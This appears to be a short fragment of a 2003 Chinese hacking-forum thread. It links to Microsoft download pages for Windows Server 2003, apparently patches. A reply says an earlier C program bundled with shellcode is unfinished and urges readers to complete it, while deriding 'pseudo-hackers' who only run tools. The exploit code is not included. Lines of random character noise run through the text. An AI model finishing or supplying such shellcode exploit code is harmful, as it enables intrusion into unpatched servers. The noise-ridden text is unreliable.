9 Z) ]7 {! A; c5 B) w3 oWindows Server 2003 32 bit Edition：
. O, I" O8 V9 `$ ]  V
' ?$ L, H% j# Zhttp://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en
5 l, A6 N& L( m% i: q8 @) o6 b5 ?


3 ]0 K) v' ~6 I. }0 ]

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

! @2 D& t) E$ Z7 ~" r

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。